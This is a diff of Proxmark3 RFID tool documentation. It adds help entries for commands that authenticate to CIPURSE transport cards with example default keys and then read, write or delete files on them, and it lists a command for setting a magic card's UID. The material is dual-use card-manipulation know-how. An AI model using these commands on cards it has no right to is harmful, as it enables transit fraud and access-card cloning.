"--sel-adf show info about adf itself",
|
||||
"--sel-mf show info about master file"
|
||||
],
|
||||
"usage": "hf cipurse aread [-hav] [-n <dec>] [-k <hex>] [-f <hex>] [--noauth] [--sreq <plain|mac(default)|encode>] [--sresp <plain|mac(default)|encode>] [--sel-adf] [--sel-mf]"
|
||||
},
|
||||
"hf cipurse auth": {
|
||||
"command": "hf cipurse auth",
|
||||
"description": "authenticate with key id and key",
|
||||
"notes": [
|
||||
"hf cipurse auth -> authenticate with keyid=1 and key = 7373...7373",
|
||||
"hf cipurse auth -n 2 -k 65656565656565656565656565656565 -> authenticate with key"
|
||||
],
|
||||
"offline": false,
|
||||
"options": [
|
||||
"-h, --help this help",
|
||||
"-a, --apdu show apdu requests and responses",
|
||||
"-v, --verbose show technical data",
|
||||
"-n, --keyid <dec> key id",
|
||||
"-k, --key <hex> key for authenticate"
|
||||
],
|
||||
"usage": "hf cipurse auth [-hav] [-n <dec>] [-k <hex>]"
|
||||
},
|
||||
"hf cipurse delete": {
|
||||
"command": "hf cipurse delete",
|
||||
"description": "read file by file id with key id and key",
|
||||
"notes": [
|
||||
"hf cipurse delete -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and delete file with id 2ff7",
|
||||
"hf cipurse delete -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and delete file"
|
||||
],
|
||||
"offline": false,
|
||||
"options": [
|
||||
"-h, --help this help",
|
||||
"-a, --apdu show apdu requests and responses",
|
||||
"-v, --verbose show technical data",
|
||||
"-n, --keyid <dec> key id",
|
||||
"-k, --key <hex> key for authenticate",
|
||||
"-f, --file <hex> file id",
|
||||
"--sreq <plain|mac(default)|encode> communication reader-picc security level",
|
||||
"--sresp <plain|mac(default)|encode> communication picc-reader security level"
|
||||
],
|
||||
"usage": "hf cipurse delete [-hav] [-n <dec>] [-k <hex>] [-f <hex>] [--sreq <plain|mac(default)|encode>] [--sresp <plain|mac(default)|encode>]"
|
||||
},
|
||||
"hf cipurse help": {
|
||||
"command": "hf cipurse help",
|
||||
"description": "help this help. --------------------------------------------------------------------------------------- hf cipurse info available offline: no get info from cipurse tags",
|
||||
"notes": [
|
||||
"hf cipurse info"
|
||||
],
|
||||
"offline": true,
|
||||
"options": [
|
||||
"-h, --help this help"
|
||||
],
|
||||
"usage": "hf cipurse info [-h]"
|
||||
},
|
||||
"hf cipurse read": {
|
||||
"command": "hf cipurse read",
|
||||
"description": "read file by file id with key id and key",
|
||||
"notes": [
|
||||
"hf cipurse read -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and read file with id 2ff7",
|
||||
"hf cipurse read -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and read file"
|
||||
],
|
||||
"offline": false,
|
||||
"options": [
|
||||
"-h, --help this help",
|
||||
"-a, --apdu show apdu requests and responses",
|
||||
"-v, --verbose show technical data",
|
||||
"-n, --keyid <dec> key id",
|
||||
"-k, --key <hex> key for authenticate",
|
||||
"-f, --file <hex> file id",
|
||||
"-o, --offset <dec> offset for reading data from file",
|
||||
"--noauth read file without authentication",
|
||||
"--sreq <plain|mac(default)|encode> communication reader-picc security level",
|
||||
"--sresp <plain|mac(default)|encode> communication picc-reader security level"
|
||||
],
|
||||
"usage": "hf cipurse read [-hav] [-n <dec>] [-k <hex>] [-f <hex>] [-o <dec>] [--noauth] [--sreq <plain|mac(default)|encode>] [--sresp <plain|mac(default)|encode>]"
|
||||
},
|
||||
"hf cipurse write": {
|
||||
"command": "hf cipurse write",
|
||||
"description": "write file by file id with key id and key",
|
||||
"notes": [
|
||||
"hf cipurse write -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and write file with id 2ff7",
|
||||
"hf cipurse write -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and write file"
|
||||
],
|
||||
"offline": false,
|
||||
"options": [
|
||||
"-h, --help this help",
|
||||
"-a, --apdu show apdu requests and responses",
|
||||
"-v, --verbose show technical data",
|
||||
"-n, --keyid <dec> key id",
|
||||
"-k, --key <hex> key for authenticate",
|
||||
"-f, --file <hex> file id",
|
||||
"-o, --offset <dec> offset for reading data from file",
|
||||
"--noauth read file without authentication",
|
||||
"--sreq <plain|mac(default)|encode> communication reader-picc security level",
|
||||
"--sresp <plain|mac(default)|encode> communication picc-reader security level",
|
||||
"-c, --content <hex> new file content"
|
||||
],
|
||||
"usage": "hf cipurse write [-hav] [-n <dec>] [-k <hex>] [-f <hex>] [-o <dec>] [--noauth] [--sreq <plain|mac(default)|encode>] [--sresp <plain|mac(default)|encode>] [-c <hex>]"
|
||||
},
|
||||
"hf emrtd help": {
|
||||
"command": "hf emrtd help",
|
||||
"description": "help this help info display info about an emrtd list list iso 14443a/7816 history --------------------------------------------------------------------------------------- hf emrtd dump available offline: no dump all files on an emrtd",
|
||||
|
@ -2049,7 +2166,7 @@
|
|||
},
|
||||
"hf fido assert": {
|
||||
"command": "hf fido assert",
|
||||
"description": "execute a fido2 get assertion command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`. - needs if `rk` option is `false` (authenticator doesn't store credential to its memory)",
|
||||
"description": "execute a fido2 get assertion command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`. - needs if `rk` option is `false` (authenticator doesn't store credential to its memory) - for yubikey there must be only one option `\"up\": true` or false",
|
||||
"notes": [
|
||||
"hf fido assert -> default parameters file `fido2_defparams.json`",
|
||||
"hf fido assert -f test.json -l -> use parameters file `text.json` and add to request credentialid"
|
||||
|
@ -2128,7 +2245,7 @@
|
|||
},
|
||||
"hf fido make": {
|
||||
"command": "hf fido make",
|
||||
"description": "execute a fido2 make credential command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`.",
|
||||
"description": "execute a fido2 make credential command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`. - for yubikey there must be only one option `\"rk\": true` or false",
|
||||
"notes": [
|
||||
"hf fido make -> use default parameters file `fido2_defparams.json`",
|
||||
"hf fido make -f test.json -> use parameters file `text.json`"
|
||||
|
@ -2169,7 +2286,7 @@
|
|||
},
|
||||
"hf help": {
|
||||
"command": "hf help",
|
||||
"description": "-------- ----------------------- high frequency ----------------------- 14a { iso14443a rfids... } 14b { iso14443b rfids... } 15 { iso15693 rfids... } epa { german identification card... } emrtd { machine readable travel document... } felica { iso18092 / felica rfids... } fido { fido and fido2 authenticators... } jooki { jooki rfids... } iclass { iclass rfids... } legic { legic rfids... } lto { lto cartridge memory rfids... } mf { mifare rfids... } mfp { mifare plus rfids... } mfu { mifare ultralight rfids... } mfdes { mifare desfire rfids... } seos { seos rfids... } st25ta { st25ta rfids... } thinfilm { thinfilm rfids... } topaz { topaz (nfc type 1) rfids... } waveshare { waveshare nfc epaper... } ----------- --------------------- general --------------------- help this help list list protocol data in trace buffer search search for known hf tags --------------------------------------------------------------------------------------- hf list available offline: yes alias of `trace list -t raw` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol",
|
||||
"description": "-------- ----------------------- high frequency ----------------------- 14a { iso14443a rfids... } 14b { iso14443b rfids... } 15 { iso15693 rfids... } cipurse { cipurse transport cards... } epa { german identification card... } emrtd { machine readable travel document... } felica { iso18092 / felica rfids... } fido { fido and fido2 authenticators... } jooki { jooki rfids... } iclass { iclass rfids... } legic { legic rfids... } lto { lto cartridge memory rfids... } mf { mifare rfids... } mfp { mifare plus rfids... } mfu { mifare ultralight rfids... } mfdes { mifare desfire rfids... } seos { seos rfids... } st25ta { st25ta rfids... } thinfilm { thinfilm rfids... } topaz { topaz (nfc type 1) rfids... } waveshare { waveshare nfc epaper... } ----------- --------------------- general --------------------- help this help list list protocol data in trace buffer search search for known hf tags --------------------------------------------------------------------------------------- hf list available offline: yes alias of `trace list -t raw` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol",
|
||||
"notes": [
|
||||
"hf list -f -> show frame delay times",
|
||||
"hf list -1 -> use trace buffer"
|
||||
|
@ -4609,9 +4726,10 @@
|
|||
],
|
||||
"offline": true,
|
||||
"options": [
|
||||
"-h, --help this help"
|
||||
"-h, --help this help",
|
||||
"-v, --verbose verbose output"
|
||||
],
|
||||
"usage": "hf search [-h]"
|
||||
"usage": "hf search [-hv]"
|
||||
},
|
||||
"hf seos help": {
|
||||
"command": "hf seos help",
|
||||
|
@ -4943,8 +5061,8 @@
|
|||
"command": "hw connect",
|
||||
"description": "connects to a proxmark3 device via specified serial port. baudrate here is only for physical uart or uart-bt, not for usb-cdc or blue shark add-on",
|
||||
"notes": [
|
||||
"hw connect -p /dev/ttyacm0",
|
||||
"hw connect -p /dev/ttyacm0 -b 115200"
|
||||
"hw connect -p com3",
|
||||
"hw connect -p com3 -b 115200"
|
||||
],
|
||||
"offline": true,
|
||||
"options": [
|
||||
|
@ -9061,8 +9179,8 @@
|
|||
}
|
||||
},
|
||||
"metadata": {
|
||||
"commands_extracted": 564,
|
||||
"commands_extracted": 570,
|
||||
"extracted_by": "PM3Help2JSON v1.00",
|
||||
"extracted_on": "2021-06-04T19:57:00"
|
||||
"extracted_on": "2021-06-18T09:04:45"
|
||||
}
|
||||
}
|
|
@ -234,6 +234,21 @@ Check column "offline" for their availability.
|
|||
|`hf 15 csetuid `|N |`Set UID for magic card`
|
||||
|
||||
|
||||
### hf cipurse
|
||||
|
||||
{ Cipurse transport Cards... }
|
||||
|
||||
|command |offline |description
|
||||
|------- |------- |-----------
|
||||
|`hf cipurse help `|Y |`This help.`
|
||||
|`hf cipurse info `|N |`Info about Cipurse tag.`
|
||||
|`hf cipurse auth `|N |`Authentication.`
|
||||
|`hf cipurse read `|N |`Read binary file.`
|
||||
|`hf cipurse write `|N |`Write binary file.`
|
||||
|`hf cipurse aread `|N |`Read file attributes.`
|
||||
|`hf cipurse delete `|N |`Delete file.`
|
||||
|
||||
|
||||
### hf epa
|
||||
|
||||
{ German Identification Card... }
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue